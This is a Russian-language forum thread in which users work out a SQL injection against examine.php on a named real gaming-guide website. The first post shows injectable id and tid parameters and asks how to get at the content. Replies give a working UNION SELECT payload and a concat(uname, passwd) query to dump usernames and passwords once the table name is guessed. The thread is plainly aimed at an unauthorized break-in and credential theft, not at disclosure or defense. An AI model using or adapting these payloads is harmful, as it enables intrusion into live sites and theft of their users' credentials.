SQL инъекция на Pimpmyguide.com
 

Здрасьте.

нашел багу на pimpmyguide.com (эксплойты для онлайн игр).

_http://www.pimpmyguide.com/examine.php?id=5&tid=9

Подвержены значения id и tid:

_http://www.pimpmyguide.com/examine.php?id=5&tid=9 or tid=6 LIMIT 10--



У самого опыта маловато, вообщем, попытался узнать, поддерживает ли сервер вложенные запросы

_http://www.pimpmyguide.com/examine.php?id=5&tid=(SELECT 9) работает, а (SELECT 3+6) не работает :(

Значит нет?

_http://www.pimpmyguide.com/examine.php?id=5&tid=6 UNION SELECT null,null,null,null --

- нулей пробовал кучу, все равно не хочет.

Хочется контент получить,.. Кто нибудь может помочь?

Спасибо.

Держи
http://www.pimpmyguide.com/examine.php?id=5&tid=9+union+select+1,2,3,4,char(1 16,101,115,116),6/*

а смысл то с этого какой????
можно узнать версию, ну тоже смысла мало, вобщем подбирай название таблицы и составь запрос типа такого
_http://www.pimpmyguide.com/examine.php?id=1%20union%20select%201,2,3,4,concat (uname,char(58),passwd),6 from название_таблицы/* и читай статьи